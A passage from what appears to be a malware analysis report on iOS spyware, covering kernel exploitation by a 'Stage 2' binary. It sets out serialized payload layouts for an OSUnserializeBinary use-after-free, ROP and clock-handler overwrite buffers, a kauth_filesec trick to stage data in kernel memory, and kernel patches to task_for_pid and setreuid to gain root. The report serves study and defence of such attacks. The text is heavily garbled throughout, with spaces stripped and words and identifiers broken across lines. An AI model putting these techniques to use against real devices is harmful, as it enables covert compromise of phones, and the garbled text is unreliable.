tclock_ops3
.
The20bytedatastructurescontainpointerstohandlerfunctionsforthebatteryclockand
realtimeclockthatthekernelwillcallwhenfunctionssuchasc
lock_get_attributes
are
called(callbackfunctions).The20bytedatastructurereplacestheg
etattr
handlerforbothof
theclocktypeswithexistingkernelfunctions.Specifically,therealtimeclocksg
etattr
is
modifiedtopointtoO
SSerializer::serialize
,andthebatteryclocksg
etattr
ismodified
topointto_
bufattr_cpx
.
Thechoiceofthereplacementfunctionschangesthenatureofthec
lock_get_attributes
callmadetothetwoclocktypes.Forcallstoc
lock_get_attributes
forthebatteryclock,
thefunctionnowoperatesasakernelmemoryreadinterface.The_
bufattr_cpx
function
containsonlytwoinstructions:
3
h
ttp://opensource.apple.com/source/xnu/xnu3248.20.55/osfmk/kern/clock_oldops.c
Page19
_bufattr_cpx:
LDR
R0,
[R0]
BX
LR
Thefirstparametertothefunction(inR
0
)isusedasamemoryaddressthatthefunctionreads
andreturnsinR
0
beforereturningtothecallingfunction.Whiletheg
etattr
functionsuse
threeparameters,giventhattheiPhonesARMbasedfunctioncallsuseregistersforthefirst
fourfunctionarguments,thelackofafullycompliantfunctionprototypeisirrelevant.
Thereplacementfunctionfortherealtimeclocksg
etattr
functionisabitmorecomplex.The
OSSerializer::serialize
functionexpectsaO
SSerializer
objectasat
his
pointer(i.e.,anobjectthatincludesavirtualfunctiontable(vtable)).Theaddressstoredatoffset
0x10withintheO
SSerializer
objectisusedasthefunctiontopasscontroltoviatheB
X
instructionandusestheDWORDsatoffset8and12asparameterstothenextfunction.
_DWORD
OSSerializer::serialize(OSSerialize
*):
LDR
R3,
[R0,#8]
MOV
R2,
R1
LDR
R1,
[R0,#0xC]
LDR.W
R12,
[R0,#0x10]
MOV
R0,
R3
BX
R12
Theresultofreplacingtheg
etattr
handlerfortherealtimeclockisthatnowthecallerto
clock_get_attributes
canexecutearbitraryfunctionswithinthekernelbysupplyinga
speciallydesigneddatastructure,astructurethatwillbeexplainedingreaterdetaillaterinthis
report.Whatisimportanttorememberatthispointisthattheclockmodificationsonlyoccurat
thisphaseifthevictimskernelisalreadyexposedinsomemanner.Thatis,theseclock
modificationswouldnotbepossibleonanonjailbrokenphone.
If32Stage2alreadyhasaccesstothekernelportandhasperformedtheabovementioned
modificationstothevariousclocks,32Stage2willskipthenextseveralstepsthatitwould
normallyperforminordertogainsuchaccess,andpickupattheprivilegeescalationphase.If
thekernelmodificationwasnotmadebecausethekernelstaskportwascurrentlyinaccessible,
32Stage2createsandlocksthelockfilespecifiedduringtheearlierinitializationphase.Thisfile
becomesimportantlaterasapieceoftheprocessthatultimatelygains32Stage2theabilityto
modifythekernelsmemory.
The64bitversionoftheStage2binarydoesnotattempttotakeadvantageofpreexisting
backdoorsinpreviouslyjailbrokendevices.
Page20
ThreadManipulation
Stage2willeventuallyleverageauseafterfree(UAF)vulnerabilityinordertoexecutearbitrary
codewithinthekernelspace.WhenusingaUAFvulnerability,itispossiblethataracecondition
mayoccurwherethememorythatwasdereferenced(andwhichtheexploitwishestocontrol)is
reallocatedforanotherthreadbeforetheexploitcanexecute.Inordertoreducetheprobability
ofanotherthreadaccidentallyallocatingintoacriticaldeallocatedchunk,Stage2willgeneratea
listofallofitsrunningthreadsandimmediatelyplaceeachthread(outsideofitsmainthread)in
asuspendedstate.Next,Stage2modifiestheschedulingpoliciesforthemainthreadtofurther
increasetheprobabilitythattheUAFexploitwillnotfacecompetitionforthememoryin
question.
Anadditionalstepisperformedinthe64bitversionofStage2.Withthethreadscheduler
modificationscomplete,64Stage2generatesupto1000threads.Eachthreadconsistsofa
singletightloopthatmerelywaitforaglobalvariabletodropbelowapredefinedvalue(inthis
case,thevalueislessthan0).Thisbehaviorisintendedtoensure(or,atleast,significantly
increasethechances)thatnoadditionalthreadsmayspawnthatcancompetefortheUAFs
targetedmemory.
EstablishingCommunicationChannel(32Bit)
32Stage2generatesanotherpipesetusingthep
ipe
command,reusingthesamevariablethat
heldtheoriginalpipeset32Stage2generated.Thisactionisimmediatelyfollowedbycallsto
host_get_clock_service
inordertogetaccesstotherealtimeandbatteryclocks.Aswith
thepipeset,thecallstoh
ost_get_clock_service
reusethesamevariablesfromthe
previouscallstoh
ost_get_clock_service
thatgainaporttothevariousclocks.
Thepreviousgenerationofthepipesetandtheclockportswerenecessarybecausethese
itemsareusedlaterforkernelmanipulationandifthekerneltaskportwasavailablealready,
32Stage2wouldsimplyskiptheexploitationprocessnecessarytomodifythekernelandinstead
modifythekerneldirectlythroughv
m_write
calls.However,if32Stage2doesnothaveaccess
tothekerneltaskport(thedefaultcaseonanonjailbrokendevice),exploitationisnecessaryin
ordertoacquiresuchaccess.Aspartofthisexploitationprocess,32Stage2needstohavethe
pipesetandclocksavailablepriortotheexploitsactivation,andthusthebinaryensuresthat
theyareavailable.Whilethisisunnecessarilyrepetitive,itdoesservetoensurethatthecritical
objectsarereadilyavailable.
The64bitversionoftheStage2binarydoesnotneedtoperformthisstep,giventhatthe
triggeringmechanismusedtoultimatelycallthefunctionislittlemorethanaredirectionofan
existingfunctionpointertoasysctlhandler.
Page21
PayloadConstructionandKernelInsertion(32Bit)
Withoutameanstomodifykernelmemorythroughthekernelport,32Stage2mustleveragea
vulnerabilitywithiniOStogainaccesstothekernel.Inordertoperformthistask,32Stage2
constructstwodatabuffers:a20bytebuffercontainingthenecessaryoverwritedatatomodify
therealtimeandbatteryclocksanda38bytebuffercontainingapayloadthatrunsaseriesof
ROPgadgetstoinstalltheclockhandleroverwrites.Thetwodatabuffershavethefollowing
layoutaftertheirconstruction:
clock_ops_overwriteBuffer:
[00]
(rtclock.getattr):
address
of
OSSerializer::serialize
[04]
(calend_config):
NULL
[08]
(calend_init):
NULL
[0C]
(calend_gettime):
address
of
calen_getattr
[10]
(calend_getattr):
address
of
_bufattr_cpx
uaf_payload_bufferExploitBuffer:
[00]
ptr
to
clock_ops_overwrite
buffer
[04]
address
of
clock_ops
array
in
kern
memory
[08]
address
of
_copyin
[0C]
NULL
[10]
address
of
OSSerializer::serialize
[14]
address
of
"BX
LR"
code
fragment
[18]
NULL
[1C]
address
of
OSSymbol::getMetaClass
[20]
address
of
"BX
LR"
code
fragment
[24]
address
of
"BX
LR"
code
fragment
32Stage2generatesanewthreadtohandlethenecessarysetupfortheinstallationofthenew
clockhandlersthoughthenewthread,itself,doesnotperformtheinstallation.Thethread
beginsbyestablishingak
auth_filesec
datastructureonthestackwiththefollowingvalues:
.fsec_magic
=
KAUTH_FILESEC_MAGIC
//
0x12CC16D
.fsec_owner
=
<undetermined,
random
stack
value>
.fsec_group
=
<undetermined,
random
stack
value>
.fsec_acl.entrycount
=
KAUTH_FILESEC_NOACL
//
Theuaf_payload_bufferexploitbufferisappendedtotheendofthek
auth_filesec
structure
inwhatisdefinedasthek
auth_filesec.fsec_acl.acl_ace[]
arrayarea.Thethreadthen
opensaporttoIOKitandcallsI
OServiceGetMatchingService
forA
ppleKeyStore
.
UsingthesametechniqueexplainedpreviouslyintheK
ernelLocationsection,thethread
obtainsavalidkernelmemorylocation.Theonlydifferencebetweenthenewthreadsuseofthe
AppleKeyStore
disclosurevulnerabilityandthemethodusedby32Stage2previouslyisthe
propertynamethatthethreaduses(whichis
ararararararararararararararararararararararararararararararararararar
arararararararararararararararararararararararararararara
").
Page22
AfterobtainingthekerneladdressfromtheA
ppleKeyStore
,as
yscall
ismadetothe
open_extended
function.32Stage2passesthelocationofthelockfiletothesyscallalongwith
boththeK
AUTH_UID_NONE
andK
AUTH_GID_NONE
valuesandthek
auth_filesec
structure
constructedatthestartofthethread.Atthestartoftheo
pen_extended
function,thefollowing
codeexecutes:
if
((uap>xsecurity
!=
USER_ADDR_NULL)
&&
((ciferror
=
kauth_copyinfilesec(uap>xsecurity,
&xsecdst))
!=
0))
Thek
auth_copyinfilesec
functioncopiesthek
auth_filesec
structurepassedfrom
userlandintoak
auth_filesec
structureinthekerneladdressspace.Beforeexplainingthe
vulnerabilityinthisfunction,itisnecessarytounderstandthelayoutofthek
auth_filesec
structure.Thek
auth_filesec
structuremakesupanaccesscontrollist(ACL)thatcontains
accesscontrolentries(ACE).Thestructurefork
auth_filesec
isdefinedas:
/*
File
Security
information
*/
struct
kauth_filesec
{
u_int32_t
fsec_magic
guid_t
fsec_owner
guid_t
fsec_group
struct
kauth_acl
fsec_acl
}
TheACLcomponentfork
auth_filesec
isstoredinak
auth_acl
structure,whichcontains
anarrayofACE:
/*
Access
Control
List
*/
struct
kauth_acl
{
u_int32_t
acl_entrycount
u_int32_t
acl_flags
struct
kauth_ace
acl_ace[1]
}
Thek
auth_ace
structureis24bytesinsizeanddefinedas:
typedef
u_int32_t
kauth_ace_rights_t
/*
Access
Control
List
Entry
(ACE)
*/
struct
kauth_ace
{
guid_t
ace_applicable
u_int32_t
ace_flags
kauth_ace_rights_t
ace_rights
}
/*
scope
specific
*/
Thek
auth_acl
fielda
cl_entrycount
isanunsignedintegerthatdefineshowmany
kauth_ace
entriesarewithinthea
cl_ace
array.IfanACLcontainsnoACErecords,
acl_entrycount
issettoK
AUTH_FILESEC_NOACL
,whichisdefinedas
1
.Atthebeginning
Page23
ofthek
auth_copyinfilesec
function,thefollowingcommentisfoundwithinthepublicly
availablesourcecode:
/*
*
Make
a
guess
at
the
size
of
the
filesec.
We
start
with
the
base
*
pointer,
and
look
at
how
much
room
is
left
on
the
page,
clipped
*
to
a
sensible
upper
bound.
If
it
turns
out
this
isn't
enough,
*
we'll
size
based
on
the
actual
ACL
contents
and
come
back
again.
*
The
upper
bound
must
be
less
than
KAUTH_ACL_MAX_ENTRIES.
The
*
value
here
is
fairly
arbitrary.
It's
ok
to
have
a
zero
count.
*/
Whenthenewthreadconstructsthek
auth_filesec
structure,itdoessobydirectly
manipulatingthepositionofthestructureonthestackassuch:
//
get
stack
address?
p
=
(unsigned
int)&stackAnchor
&
0xFFFFF000
//
kauth_filesec.fsec_magic
(p
+
0xEC0)
=
0x12CC16D
//
kauth_filesec.fsec_acl.entrycount
=
KAUTH_FILESEC_NOACL
(p
+
0xEE4)
=
1
//
kauth_filesec.fsec_acl.acl_ace[...]
memcpy(&stackAnchor
&
0xFFFFF000
|
0xEEC,
pExploit,
128)
Thestackhasthefollowinglayoutatthestartofthenewthreadsexecution:
char
stackAnchor
//
[sp+101Fh]
[bp2031h]@1
unsigned
int
size
//
[sp+2020h]
[bp1030h]@12
char
buffer[4096]
//
[sp+2024h]
[bp102Ch]@12
int
v26
//
[sp+3024h]
[bp2Ch]@7
mach_port_t
connection
//
[sp+3028h]
[bp28h]@4
kern_return_t
result
//
[sp+302Ch]
[bp24h]@4
mach_port_t
masterPort
//
[sp+3030h]
[bp20h]@3
MAPDST
Usingthevariabledubbeds
tackAnchor
,thenewthreadfindsapageboundaryaddressfor
thestack.Then,byallocatingalargearraytoensurethatatleastonepageofthestackis
unusedbyfunctioncriticalvariables,thenewthreadcanconstructak
auth_filesec
structure
thatcontainssignificantlymoreinformationthanisnecessary.Bysettingthe
acl_entrycount
toindicatethattherearenoACErecords,wheno
pen_extended
processesthe
kauth_filesec
structure,itwillnotattempttoparseanydatabeyondthea
cl_flags
variable,thuspreservingtheintegrityoftheexploitbufferandpreventingthekernelfrom
possiblyhavingissuewithhowtheexploitbufferwouldbeinterpretedasanactualACErecord.
Theendresultofcallingo
pen_extended
istocopytheexploitbuffer(alongwiththe
clock_ops_overwrite
buffer)intokernelmemory.
Thenewthreadtakesadvantageofthisbehavioralodditywithintheo
pen_extended
syscallin
ordertoplacethe(unmodified)payloadintothekernelmemory.Theaddressforthatpayloadis
thenrecoveredusingthepreviouslydiscussedvulnerabilitythatallowskernelmemorytobe
Page24
leakedbacktousermode.WhentheA
ppleKeyStore
vulnerabilityisexploited,thevariable
dubbedb
uffer
ispassedtoi
o_service_open_extended
(thesamevariablethatresides
adjacenttothes
tackAnchor)
.ThisbehaviormeansA
ppleKeyStore
returnedapointerfor
kernelmemorythatwasultimatelynexttotheexploitcodecopiedinbythesyscallto
open_extended
.Therefore,thepurposeofthenewthreadisnottooverwritetheclockhandler
pointers,butrathertosetthestageforsuchanattack.
Oncethenewthreadcompletes,thevariablecontainingthememoryaddressoftheexploit
bufferobtainedbythenewthreadaspartoftheA
ppleKeyStore
informationleakistestedto
determineifitwasindeedsetbythenewthread(priortocallingthenewthread,thevariablethat
holdsthekerneladdressisinitializedto0x12345678).Ifthenewthreaddidnotsuccessfully
obtainthekernelmemorylocation,32Stage2willcalltheassertcallbackandexit.
Afterthecompletionofthenewthreadsactivities,andifthephonereportsitselfasiPhone4,1
(theiPhone4series),themainthreadwillgenerateupto1000threads.Eachofthethreadswill
generateaverytightwhileloopthatwaitsuntilaglobalvariableissettolessthan0(itdefaults
to1000atthetimethethreadsaregenerated).Itisunclearwhythisbehaviorisrestrictedtothe
iPhone4s,astheresultofthisbehaviorwouldseemtohavevalueonallplatforms.Thisthread
resourceexhaustiondecreasestheprobabilitythatanotherthreadwillspawnandthuscompete
forthememoryresourcesduringtheUAFexploitation.
PayloadConstructionandKernelInsertion(64Bit)
Giventhedifferencesinthetriggeringmechanismusedwithin64Stage2,thesetupandpayload
constructionissomewhatdifferent.Ratherthancreatingpipesandoverwritingtheclockgetattr
handler,asysctlhandlerisoverwritten,ultimatelyresultinginanexecuteprimitivethatuses
OSSerializer::serialize
inasimilarwayto32Stage2.Inordertoestablishanexecute
primitive,64Stage2usesthesysctlinterfaceforn
et.inet.ip.dummynet.extract_heap
to
which64Stage2passesaspeciallycrafteddatastructurethatallowsthebinarytooverwritethe
functionpointerresponsibleforinterfacingwiththekernelvariable.Theendresultisa
framework,similarinnaturetotheg
etattr
h
andlers,thatallowsthe64Stage2binaryto
executearbitrarycodeROPchainswithinthekernelfromuserspace.
EstablishingKernelRead/WritePrimitives(32Bit)
Withtheexploitcodenowinkernelmemory,32Stage2mustactivatethecodeinordertoinstall
thenewc
lock_ops
handlersthatgiveuserlandaccesstothethekernelmemory.32Stage2
usesauseafterfree(UAF)vulnerabilitywithinthei
o_service_open_extended
deserializationroutine.
Whilei
o_service_open_extended
sdeserializationfunctionalitywaspreviouslyshownin
thisreporttoallowtheleakageofkerneladdressinformation,anothervulnerabilityinthesame
Page25
componentcanbeusedtoexecutearbitrarycodewithinthekernel.When
io_service_open_extended
ispassedap
roperties
d
atablob,thefunctionwillcopythe
contentsfromuserspaceintokernelspacebeforepassingtheinformationto
OSUnserializeXML
.O
SUnserializeXML
inturnpassestheinformationto
OSUnserializeBinary
ifthek
OSSerializeBinarySignature
valueispresentatthe
beginningofthedatablob.ItiswithinO
SUnserializeBinary
thatthevulnerabilityexists.
Thedatablobsuppliedinthep
roperties
p
arameterrepresentsanXMLdictionary(or
container)thathasbeenserialized.Inordertoreconstructtherelationships,
OSUnserializeBinary
iteratesthroughtheentiredatablobtoparseoutthevariousdata
objects.Itispossiblethatduringtheencodingprocess(theprocessofturningtheoriginalXML
intoitsbinaryrepresentation)thatthesameobjectisfoundrepeatedly.Inordertomore
efficientlyhandlerepetitivedata,objectsarestoredwithinanarray(o
bjsArray
)andobjects
withinthereconstructedXMLdictionarycanberepresentedbyanindexintothearrayof
objects.
WithinO
SUnserializeBinary
,aw
hile
loopiteratesthrougheachencodedobjectwithinthe
supplieddatablob.Theloopbeginsbydeterminingthetypeofobject(e.g.,
kOSSerializeDictionary
,k
OSSerializeArray
,k
OSSerializeNumber
,andsoon)and
itssize.
len
=
(key
&
kOSSerializeDataMask)
...
switch
(kOSSerializeTypeMask
&
key)
{
case
kOSSerializeDictionary:
o
=
newDict
=
OSDictionary::withCapacity(len)
newCollect
=
(len
!=
0)
break
case
kOSSerializeArray:
o
=
newArray
=
OSArray::withCapacity(len)
newCollect
=
(len
!=
0)
break
case
kOSSerializeSet:
o
=
newSet
=
OSSet::withCapacity(len)
newCollect
=
(len
!=
0)
...
case
kOSSerializeObject:
if
(len
>=
objsIdx)
break
o
=
objsArray[len]
o>retain()
isRef
=
true
break
...
}
Thes
witch
statementdispatchestheappropriateinstructionsforhandlingeachtypeofobject
foundwithinthedatablob.Theseinstructionscangeneratenewobjectsandsetflagsrelatedto
theobjectsdependingonwhattheparticularobjectrequiresduringthedeserializationprocess.
Page26
Thek
OSSerializeObject
objecttypeisaspecialcasethatrepresentsanalready
deserializedobjectand,assuch,setsaflagi
sRef
tot
rue
indicatingthattheobjectisa
referencetoanexistingobjectalreadywithintheo
bjsArray
array.
Ifthei
sRef
valueisnotsettot
rue
,thecurrentobjectthatjustunderwentdeserializationis
addedtotheo
bjsArray
b
ymeansofs
etAtIndex
:
if
(!isRef)
{
setAtIndex(objs,
objsIdx,
o)
if
(!ok)
break
objsIdx++
}
setAtIndex
isamacrothat,amongotherthings,addsanobject(o
)totheo
bjsArray
.While
morerobustarrayobjectsexistwithintheiOSenvironment,suchasO
SArray
(a
narray
containerthatwillhandlereferencecountingautomatically),O
SUnserializeBinary
takesa
moremanualrouteforarrayobjectmanagementoftheobjectsithasdeserialized.Once
deserialized,theobjectsreferencecountisdecrementedbycallingo
>release()
,whichwill
leadtotheobjectbeingfree()edinmostcases.Theexceptiontothisbehavioroccurswithin
kOSSerializeObject
objects.
Sinceak
OSSerializeObject
o
bjectrepresentsanobjectthatisreferencedbyotherentries,
itisnecessarytoretaintheobjectafterserialization.Asaresult,duringdeserialization
kOSSerializeObject
objectswillcallo
>retain()
,therebyincrementingthereference
countfortheobjectandpreventingitsremovalfrommemory.
Aserializeddatabloballowsforthesamekeytobeusedmorethanonce.Inotherwords,itis
possibletohaveXMLcodethatlookslike:
<dict>
<key>KEY1<key>
<number>1</number>
<key>KEY1</key>
<string>2</string>
</dict>
TheaboveXML,onceserialized,willcontainfiveobjects.Thefirstobjectwillbethedictionary
container(<
dict>
asak
OSSerializeDictionary
object),followedbyasymbol
representingthekey(asak
OSSerializeSymbol
e
ntrycontainingK
EY1
)anditsdataobject
(ak
OSSerializeNumber
e
ntryfortheinteger1
).Thefourthentryspecifiesanotherkey
object,assignedK
EY1
a
gain,whichisnowastringobject(k
OSSerializeString
)containing
thestring2
.Aspartofthedeserializationprocess,thereuseofK
EY1
resultsintheobjectthat
followsreplacingtheoriginalvalueassignedtoK
EY1
.Thisreassignmentofakeywithnewdata
isthesituationwhereO
SUnserializeBinary
isvulnerabletoattack.
Page27
Asstatedpreviously,whenanobjectisdeserialized,andsolongasthatobjectisnota
kOSSerializeObject
,theobjectisstoredintheo
bjsArray
forlaterreference.This
storageistheresultofthes
etAtIndex
macroseenhere:
#define
setAtIndex(v,
idx,
o)
\
if
(idx
>=
v##Capacity)
\
{
\
uint32_t
ncap
=
v##Capacity
+
64
\
typeof(v##Array)
nbuf
=
(typeof(v##Array))
kalloc_container(ncap
*
sizeof(o))
\
if
(!nbuf)
ok
=
false
\
if
(v##Array)
\
{
\
bcopy(v##Array,
nbuf,
v##Capacity
*
sizeof(o))
\
kfree(v##Array,
v##Capacity
*
sizeof(o))
\
}
\
v##Array
=
nbuf
\
v##Capacity
=
ncap
\
}
\
if
(ok)
v##Array[idx]
=
o
Themacrowillexpandtheo
bjsArray
toaccommodatetheadditionalobjectandassignthe
objecttotheendoftheo
bjsArray
withoutincreasingitsreferencecountbymeansofa
o>retain()
call.Theproblemwiththismethodisthatwhenasecondobjectreplacesan
existingobject(inourexamplethisiswheneverthestringobjectreplacesthenumberobjectfor
KEY1),thefirstobjectisreleasedandsubsequentlyfreed,butapointertothenowfreedobject
existswithintheo
bjsArray
.Normallythiswouldsimplybeabadprogrammingdesignissue,
buttheproblemiscompoundedifareferenceismadetotheobjectviaa
kOSSerializeObject
e
ntry.Ifak
OSSerializeObject
entryreferences,byindex,thenow
danglingpointerofthefreedobject,thecalltoo
>retain()
willattempttoexecuteavirtual
functionthatisattackercontrolled.
Inordertoexploitthisuseafterfreecondition,32Stage2musttakecontrolofthememory
locationthatwasdeallocatedandplaceacustomvtablethatwillhavetheentryforr
etain
directedtoafunctionofitsownchoosing.Installingacustomvtablerequireshavingaccessto
twodeallocated,adjacentmemorylocations.Sinceitisnotpossibletodirectlyoverwritethe
vtableofanobjectduringtheserializationprocess,byallocatingandthenfreeingtwomemory
locations,32Stage2canuseanO
SData
o
rO
SString
o
bjecttoreplacetwomemorylocations
atoncewithoneofthememorylocationscontainingthemaliciousvtable.Theeasiestwayto
understandthisconceptistolookatthepayloadthat32Stage2generatestoexploitthe
OSUnserializeBinary
UAFvulnerability.
Themaliciouspayloadthat32Stage2generatesforthisvulnerabilitydependsontheiOS
version.ForiOSversion9.3.2throughatleast9.3.3,thepayloadtakesthefollowingform:
[0x00]
kOSSerializeBinarySignature
[0x04]
kOSSerializeEndCollecton
|
kOSSerializeDictionary
|
0x10
[0x08]
kOSSerializeString
|
4
Page28
[0x0C]
sy2
[0x10]
kOSSerializeData
|
0x14
[0x14]
{payload
buffer}
[0x28]kOSSerializeEndCollecton
|
kOSSerializeObject
|
1
ForiOS9.0through9.3.1,thepayloadtakesthefollowingform:
[0x00]
kOSSerializeBinarySignature
[0x04]
kOSSerializeEndCollecton
|
kOSSerializeDictionary
|
0x10
[0x08]
kOSSerializeString
|
4
[0x0C]
sy2
[0x10]
kOSSerializeEndCollecton
|
kOSSerializeArray
|
0x10
[0x14]
kOSSerializeDictionary
|
0x10
[0x18]
kOSSerializeSymbol
|
4
[0x1C]
sy1
[0x20]
kOSSerializeData
|
0x14
[0x24]
ffff\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
[0x38]
kOSSerializeSymbol
|
4
[0x3C]
sy1
[0x40]
kOSSerializeEndCollecton
|
kOSSerializeSymbol
|
4
[0x44]
sy1
[0x48]
kOSSerializeString
|
0x1C
[0x4C]
{payload
buffer}
[0x68]
kOSSerializeString
|
0x1C
[0x6C]
{payload
buffer}
[0x88]
kOSSerializeString
|
0x1C
[0x8C]
{payload
buffer}
[0xA8]
kOSSerializeEndCollecton
|
kOSSerializeObject
|
5
Whilestructurallytheylooksomewhatdifferent,ultimatelytheybothexploitthesameUAF
vulnerability.Thesimplerpayload(foriOS9.3.2andlater)istheeasiesttounderstand.When
OSUnserializeBinary
beginstheparsingprocesstodeserializethepayload,thefunction
willcreateanewdictionaryobjectasaresultoftheentryatoffset0x04.Withinthisdictionary
aretwounkeyedobjects.ThefirstobjectisanO
SString
o
bjectwiththevalues
y2
(specified
inoffsets0x08and0x0C,respectively).Offset0x10specifiesanO
SData
o
bjectof0x14(20)
bytesinsize.TheO
SData
o
bjectcontainsthepayloadbufferdatastructure.Sincetheobjects
areunkeyed,O
SUnserializeBinary
willreplacetheO
SString
o
bjectwiththeO
SData
objectbutleavethepointersinplaceino
bjsArray
.WiththeO
SString
o
bjecthavingno
retain()
calls,theO
SString
isdeallocated,therebyputtingtwomemoryarraysintothefree
list(onefortheO
SString
o
bjectitselfandoneforthestringassociatedwiththeO
SString
object).
WhenO
SUnserializeBinary
parsesthek
OSSerializeData
e
ntry,anewO
SData
o
bject
isallocatedandthusconsumesoneofthefreedmemorylocationsfromthefreelist.Whenthe
dataassociatedwiththek
OSSerializeData
e
ntryiscopiedintotheO
SData
o
bject,anew
bufferisallocatedforthedata,whichconsumestheremainingdatalocationfromthefreelist.At
thispoint,thedanglingpointerino
bjsArray
h
asbeenreplacedwithanO
SData
o
bjects
data.ItisthedataassociatedwiththeOSDataobjectthatcontainsthemaliciouspayloadthat
Page29
willultimatelygive32Stage2writeaccessintothekernelinordertoinstalltheread/write
primitives.
RegardlessoftheiOSversion,themaliciouspayloadcontainsthesamepayloadbuffer.The
payloadbufferisa20bytestructureconsistingofthefollowingelements:
[00]addressofu
af_payload_buffer
+8
[04]{uninitializeddatafromstack}
[08]addressofuaf_payload_buffer
[0C]staticvalueof20
[10]addressofO
SSerializer::serialize
Thelayoutofthepayloadmustcontainthepointertothenewretainfunctionatoffset0x10.
32Stage2usestheO
SSerializer::serialize
functionasthereplacementretain.This
layoutmeansthattheremainderofthepayloadmustnowmimicthevtableofan
OSSerializer
o
bject.AsexplainedpreviouslyinE
stablishingRead/Write/ExecutePrimitives
onPreviouslyRootedDevices,theO
SSerializer::serialize
functionwillcallthefunction
atoffset0x10ofthesuppliedvtablewhilepassingoffsets0x08and0x0Cofthevtabletothe
calledfunction.Giventhatoffset0x10issettoO
SSerializer::serialize
,thefunctionis
beingcalledagain,butthesecondcallwillbegiventhevtablespecifiedatoffset0x08.Thiscall
kicksoffaseriesofsubsequentcallsthatultimatelyleadstoacallto_
copyin
thatreplacesthe
getattrhandlersfortherealtimeandbatteryclocks,asdescribedinE
stablishing
Read/Write/ExecutePrimitivesonPreviouslyRootedDevices.
Followingtheexecutionoftheexploit,andifthevictimsphoneisaniPhone4,1model,the
globalvariablecontrollingthe1000threadsgeneratedpreviouslyissetto1inorderto
terminatethethreads.
Toverifythatthebatteryclocksg
etattr
handlerisworkingasakernelmemoryaddress
reader,c
lock_get_attributes
iscalledwiththereadlocationspecifiedasthebaseaddress
forthekernel.Iftheresultfromc
lock_get_attributes
isnotthemagicvalueof
0xFEEDFACE
,theattemptismadeoncemore.Asecondfailureresultsintheassertcallback
beingcalledand32Stage2terminating.
EstablishingKernelRead/WritePrimitives(64Bit)
Thesameunderlyingvulnerabilityisexploitedinthe64bitversionofStage2.Inprinciple,the
exploitisstructuredinaverysimilarway.Theprimarydifferenceisthattheultimateexecute
primitiveisestablishedbywritingtothen
et.inet.ip.dummynet.extract_heap
sysctl
handler.TheO
SSerializer::serialize
isusedinasimilarwayaswithin32Stage2.
Arbitrarycodeexecution(throughtheexecutionofarbitraryROPchains)isthenachievedusing
thesamemechanismdescribedinE
stablishingKernelExecutePrimitive(32Bit).
Page30
EstablishingaKernelExecutePrimitive(32Bit)
AsexplainedpreviouslyinInstallingKernelAccessHandlersonRootedDevices,therealtime
clocksg
etattr
handlerpointstoO
SSerializer::serialize
,whichallowsthecallerof
clock_get_attributes
topassaspeciallycraftedstructureto
OSSerializer::serialize
inordertoexecuteinstructionswithinkernelspace.Byvirtueof
executingwithinkernelspace,theuserland32Stage2processmusthaveawayoftransferring
datatothekerneladdressspaceinareliablemanner.32Stage2usesacleverquirkofthe
pipe
createdpipesettoaccomplishthistask.
Afterestablishingthebatteryclocksnewg
etattr
h
andleras_
bufattr_cpx
,32Stage2has
areliablemethodforreadingDWORDsfromthekerneladdressspaceintouserland.32Stage2
usesthisfunctionalitytofindthea
ddrperm
valuestoredwithinthekernel.a
ddrperm
d
efines
theoffsetappliedtotheaddressfromthekernelwhenpassedtouserlandinordertoobfuscate
thetruelocationofthedatainthekernel.Byobtainingthisvalue,itispossibletodeobfuscate
kerneladdressesbacktotheirrealaddressvalues.32Stage2callsf
stat
o
nthereadpipe
fromthegeneratedpipesetandthencalculatesthedifferencebetweenthelocationofthes
tat
structureandthekerneladdressspace.Thisvalueisthenstoredinaglobalvariableforuseby
functionsthatmustaccesskernelmemoryforthepurposesofcodeexecution.
Whenever32Stage2wantstoexecutecodewithinthekernel,thefollowingdatastructureis
writtentothewritepipeofthegeneratedpipeset:
[00]argument1
[04]argument2
[08]addressofcodetoexecute
Inordertocallthefunctionspecifiedinoffset8ofthedatastructure,anotherDWORDis
prependedtothestructureandpassedtotherealtimeclocksg
etattr
h
andler(accessedvia
OSSerializer::serialize
),whichplacesargument1intoR
3
andargument2intoR
1
beforecallingtheaddressspecifiedforthefunctiontoexecute.Byprependingtheunused
DWORDtothedatastructure,thedatastructurebecomesthevtablereplacementfor
OSSerializer
.Thistechniqueisusedintwodifferentfunctionswithin32Stage2.Onefunction
allowsarbitrarykernelfunctioncallsandtheotherisusedtowriteDWORDvaluesintothe
kerneladdressspace.
PatchingtheKerneltoAllowKernelPortAccess
Withtheabilitytoread,write,andexecutearbitrarylocationswithinthekerneladdressspace,
thenextstepinvolvesgainingmoredirectaccesstothekernelthroughthekernelport.The
Page31
functiont
ask_for_pid
willreturnanerrorifcalledwiththePIDvalueof0.Inordertobypass
thisprotection,Stage2modifiesfourdifferentlocationswithinthet
ask_for_pid
function.
Beforethepatchingoft
ask_for_pid
begins,Stage2determinesifthearearequiringthe
patchiswithinaregionofmemorythatisread/execute.Ifthememoryisnonwritable,Stage2
willdirectlymodifythepermissionsofthememoryregiontoallowforwriteaccessandthen
invalidatethedcacheandflushthedataandinstructionTLBsinordertoensurethatthe
memoryregionisupdatedwiththenewpermissions.
Afterpatchingthet
ask_for_pid
functiontoallowthecallertogainaporttothekernel,Stage
2willattempttogetakernelportbycallingt
ask_for_pid(mach_task_self,
0,
&port)
uptofivetimeswitha100mlliseconddelaybetweeneachattemptbeforecallingtheassert
callbackandexiting.
Page32
Section3:PrivilegeEscalationandActivatingthe
JailbreakBinary
This section covers the final steps carried out in Stage 2 to gain root access on
the iPhone, disable code signing, then drop and activatethejailbreakbinary.This
stage leverages the final Trident vulnerability, where kernel memory corruption
leadstojailbreak(CVE20164656).
Page33
SystemModificationforPrivilegeEscalation
Thenextstepfor32Stage2istogainrootaccessoverthevictimsphone.IftheStage2process
isnotcurrentlyrunningasroot(UID=0),whichitwillnotbeonanonjailbrokenphone,then
Stage2patchesthes
etreuid
functiontoskipthecheckforprivilegeescalation.Oncethe
modificationtosetreuidiscomplete,thefunctioniscalleduptofivetimes(with500msdelays
betweeneachcall)untils
etreuid(0,
0)
returnssuccessful.Afterfiveattempts(oraftera
successfulsetreuidcall),themodificationmadetosetreuidisreversed.Afinalcheckofthe
processsuservalue(UID)ismadetoensurethatitis,indeed,root(0).Ifthefunctiong
etuid
returnsanyvalueotherthan0,theassertiscalledandStage2exits.
Stage2callsthekernelfunctionk
auth_cred_get_with_ref
bymeansoftherealtimeclock
clock_get_attributes
vectorinordertoreceivethecredentialsforthemainthread.
Followingthis,Stage2locatesthem
ac_policy_list
